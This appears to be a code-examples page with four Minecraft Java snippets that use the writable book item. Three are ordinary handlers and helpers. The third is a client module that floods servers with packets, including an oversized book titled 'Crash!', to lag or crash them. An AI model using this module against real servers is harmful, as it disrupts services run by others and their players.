Java Code Examples for net.minecraft.init.Items#writable_book()

public static void handleEditBookEvent(EntityPlayerMP player, ItemStack newBookItem) {
    int itemInHandIndex = player.inventory.currentItem;

    PlayerEditBookEvent editBookEvent = new PlayerEditBookEvent(player.getBukkitEntity(), player.inventory.currentItem, (BookMeta) CraftItemStack.getItemMeta(player.inventory.getCurrentItem()), (BookMeta) CraftItemStack.getItemMeta(newBookItem), newBookItem.getItem() == Items.WRITTEN_BOOK);
    player.world.getServer().getPluginManager().callEvent(editBookEvent);
    ItemStack itemInHand = player.inventory.getStackInSlot(itemInHandIndex);

    // If they've got the same item in their hand, it'll need to be updated.
    if (itemInHand != null && itemInHand.getItem() == Items.WRITABLE_BOOK) {
        if (!editBookEvent.isCancelled()) {
            if (editBookEvent.isSigning()) {
                itemInHand.setItem(Items.WRITTEN_BOOK);
            }
            CraftMetaBook meta = (CraftMetaBook) editBookEvent.getNewBookMeta();
            List<ITextComponent> pages = meta.pages;
            for (int i = 0; i < pages.size(); i++) {
                pages.set(i, stripEvents(pages.get(i)));
            }
            CraftItemStack.setItemMeta(itemInHand, meta);
        }

        // Client will have updated its idea of the book item; we need to overwrite that
        Slot slot = player.openContainer.getSlotFromInventory(player.inventory, itemInHandIndex);
        player.connection.sendPacket(new SPacketSetSlot(player.openContainer.windowId, slot.slotNumber, itemInHand));
    }
}
 

@Override
public boolean matches(InventoryCrafting invCrafting, World world) {
    boolean foundJournal = false;
    boolean foundBook = false;
    for (int i = 0; i < invCrafting.getSizeInventory(); i++) {
        ItemStack stackAtIndex = invCrafting.getStackInSlot(i);
        if (!stackAtIndex.isEmpty() && stackAtIndex.getItem() != null) {
            if (stackAtIndex.getItem() instanceof ItemJournal) {
                if (!foundJournal) {
                    foundJournal = true;
                } else {
                    // There can't be two journals!
                    // Scandalous!
                    return false;
                }
            } else if (stackAtIndex.getItem() == Items.WRITABLE_BOOK) {
                if (!foundBook) {
                    foundBook = true;
                } else {
                    // There can only be one true king!
                    return false;
                }
            }
        }
    }
    return foundJournal && foundBook;
}
 

@Listener
public void onUpdate(EventPlayerUpdate event) {
    if (event.getStage() == EventStageable.EventStage.PRE) {
        switch (this.mode.getValue()) {
            case BOXER:
                for (int i = 0; i <= this.packets.getValue(); i++) {
                    mc.player.connection.sendPacket(new CPacketAnimation(EnumHand.MAIN_HAND));
                }
                break;
            case SWAP:
                for (int i = 0; i <= this.packets.getValue(); i++) {
                    mc.player.connection.sendPacket(new CPacketPlayerDigging(CPacketPlayerDigging.Action.SWAP_HELD_ITEMS, BlockPos.ORIGIN, mc.player.getHorizontalFacing()));
                }
                break;
            case MOVEMENT:
                for (int i = 0; i <= this.packets.getValue(); i++) {
                    final Entity riding = mc.player.getRidingEntity();
                    if (riding != null) {
                        riding.posX = mc.player.posX;
                        riding.posY = mc.player.posY + 1337;
                        riding.posZ = mc.player.posZ;
                        mc.player.connection.sendPacket(new CPacketVehicleMove(riding));
                    }
                }
                break;
            case SIGN:
                for (TileEntity te : mc.world.loadedTileEntityList) {
                    if (te instanceof TileEntitySign) {
                        final TileEntitySign tileEntitySign = (TileEntitySign) te;

                        for (int i = 0; i <= this.packets.getValue(); i++) {
                            mc.player.connection.sendPacket(new CPacketUpdateSign(tileEntitySign.getPos(), new TextComponentString[]{new TextComponentString("give"), new TextComponentString("riga"), new TextComponentString("the"), new TextComponentString("green book")}));
                        }
                    }
                }
                break;
            case NBT:
                final ItemStack itemStack = new ItemStack(Items.WRITABLE_BOOK);
                final NBTTagList pages = new NBTTagList();

                for (int page = 0; page < 50; page++) {
                    pages.appendTag(new NBTTagString("192i9i1jr1fj8fj893fj84ujv8924jv2j4c8j248vj2498u2-894u10fuj0jhv20j204uv902jv90j209vj204vj"));
                }

                final NBTTagCompound tag = new NBTTagCompound();
                tag.setString("author", mc.session.getUsername());
                tag.setString("title", "Crash!");
                tag.setTag("pages", pages);
                itemStack.setTagCompound(tag);

                for (int i = 0; i <= this.packets.getValue(); i++) {
                    mc.player.connection.sendPacket(new CPacketCreativeInventoryAction(0, itemStack));
                    //mc.player.connection.sendPacket(new CPacketClickWindow(0, 0, 0, ClickType.PICKUP, itemStack, (short)0));
                }
                break;
        }
    }
}
 

public static boolean isBook(Item item) {
  return item == ItemBookCode.INSTANCE || item == Items.WRITABLE_BOOK || item == Items.WRITTEN_BOOK;
}